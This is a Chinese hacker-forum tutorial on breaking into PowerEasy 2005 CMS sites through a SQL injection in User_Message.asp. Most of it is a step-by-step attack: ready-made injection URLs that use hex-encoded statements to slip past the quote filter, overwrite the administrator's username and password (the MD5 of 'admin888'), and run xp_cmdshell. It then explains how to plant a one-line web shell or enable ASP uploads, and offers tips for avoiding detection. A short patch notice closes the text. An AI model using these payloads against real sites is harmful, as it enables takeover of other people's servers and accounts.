入侵动易2005

作者:怪狗 文章来源:华夏黑客同盟

影响版本:

标准版 SQL版
企业版 SQL版
学校版 SQL版
政府版 SQL版
全功能版 SQL版
免费access 版
所有版本(包括免费版、商业SQL版及Access版)
不被影响的版本:2005动易ASSESS版
漏洞文件:Admin目录下 Admin_ChkPurview.asp,Admin_Login.asp,Admin_RootClass_Menu.asp
User 目录下 User_Message.asp

等级:严重

描述:
此漏洞影响全部SQL版,如果用SA连接数据库黑客可以拿到系统管理员权限。如果用普通用户连接最严重情况,可以备份脚本木马。一般情况可能改管理员登陆密码,从而达到黑客登陆动易后台。控制整个动易系统!
ACCESS版可以得到管理员md5密码!

主要问题在于 User_Message.asp

http://77169.org/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=90;

MessageID 没有严格过滤,有注入漏洞。只过滤了 单引号, 这就能挡住聪明的黑客吗?

我们来看一下,User_Message.asp的源代码、

————————————————————————————————————

<!–#include file="User_CommonCode.asp"–>

<%

Call PE_Execute("PE_AdminCommon", "User_Message")

%>

——————————————————————————————————————

动易系统是不开放源代码的,User_Message.asp 源代码的意思就是调用 PE_AdminCommon.dll 中的 User_Message 函数。

有人可能要问了这样的漏洞怎么发现的呢?

像这样的文件 只能用分支测试法 给这个文件用到的全部变量 都测试一遍。这是很耗时的测试方法。

2,分析漏洞

源程序是不开放的,所以源程序没什么好分析的。

现在我们来这漏洞入侵动易2005 sp1系统。

首先分两个版来说

1,SQL版,

(1,发现注入点

User_Message.asp 文件中的 MessageID 没有严格过滤。

测试,加 单引号,

正常返回。如图一



加 ; ,加 —

都显示出错。

如图二:



看提示 就明白有注入点了,加单引号没用,应当是过滤了引号。没关系过滤了单引号 阻挡不了我们入侵的步伐。

(2,绕过单引号

估计 注入点基本形式是这样的 select * from pe_XXX where MessageID=(注入点)

我们想注入这样的文件,就要绕过单引号。

下面这样的代码 我们可以用它来绕过单引号。

declare @a sysname

select @a=<command>

exec master.dbo.xp_cmdshell @a

上面这语句主要是用来绕过单引号。不过我们要改一下,

declare @a sysname

select @a=<command>

update pe_admin set password=@a where id=1–

); declare @a sysname select @a=0x3300 update pe_admin set password=@a where id=1–

完整的url

http://192.168.1.254/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=3);%20declare%20@a%20sysname%20select%20@a=0x3300%20update%20pe_admin%20set%20password=@a%20where%20id=1–

这条语句是给后台的id=1的管理员密码改成 3。因为@a=0x3300 ,0x3300 是16进制的3.

执行成功之后如图3:



(3,得到管理员权限

分两步:

一,关联前台username

动易后台登陆 要关联前台用户。

先设置后台管理员的前台用户名,为我们注册的用户。

declare @a sysname

select @a=<command>

update pe_admin set username=@a where id=1–

说到这里,我要讲一下@a 如果改

比如我们注册的用户为111111

@a=0x310031003100310031003100

我怎么知道的呢?随便在网上找一个16进制转换器就知道了,

比如 用这个工具转换也行。

如图4



所以注入语句成了这样的

); declare @a sysname select @a=0x310031003100310031003100 update pe_admin set username=@a where id=1–

二,改后台登陆的password

接着给后台密码改成我们的密码。我们就可以想办法登陆了。

declare @a sysname

select @a=<command>

update pe_admin set password=@a where id=1–

我们改后台密码,要改成已经加密的md5密码

比如我们提供一个,469e80d32c0559f8 这是admin888加密之后的MD5密码。

@a=0x3400360039006500380030006400330032006300300035003500390066003800

所以构造注入语句

); declare @a sysname select @a=0x3400360039006500380030006400330032006300300035003500390066003800 update pe_admin set password=@a where id=1–

大家感觉很简单吧!一般我们不这么做,教程 写给新手看的,不能太难。

在真正的黑客行为中,如果给人家的后台密码改了,管理员登陆不上去。人家必然会发现的。

所以 给高手提供思路 自己研究一下。

比如

1,可以插入一个管理员 用完之后删除

2,可以先暴出管理员密码,用完之后,再还原。

(4,上传木马

1,rootclass_menu_config.asp 文件中的菜单其它特效 中插入一句话木马。

如图 5



插入一句话木马之后,你可以用客户端连接了。

2,给上传属性改成可以上传ASP类型。上传时抓包 给最后一个加上结束符。(类似于动网上传)

SQL版我只说这么多了,如果你上传不了木马,或者是找不到后台管理地址,来我们论坛提问吧!有我们有办法解决。 http://bbs.77169.com

2,ACCESS版

(1,如果发现漏洞

在测试免费版的动易系统之时,发现免费的ACCESS版动易用户控制面板没有 发送短消息的功能。

不过,动易留有相关接口,登陆用户控制面板 直接浏览 User_Message.asp 也可以注入.

(2,注入过程(略)

mssql和access 注入过程是点不一样的。基本相同,这也留给大家自己去测试吧。

三,解决方案

临时解决方案:

解决方案(临时):更新补丁包中的三个文件,并先删除user目录下的User_Message.asp文件。SP2正式版中将会修复此漏洞,请目前使用SP1的用户尽快打好此补丁。

补丁下载: http://download.asp163.net/PowerEasy2005SP1Patch.rar

感谢llikz、怪狗等网友对系统进行安全检测并无私提供相关漏洞信息!

相关日志

发表评论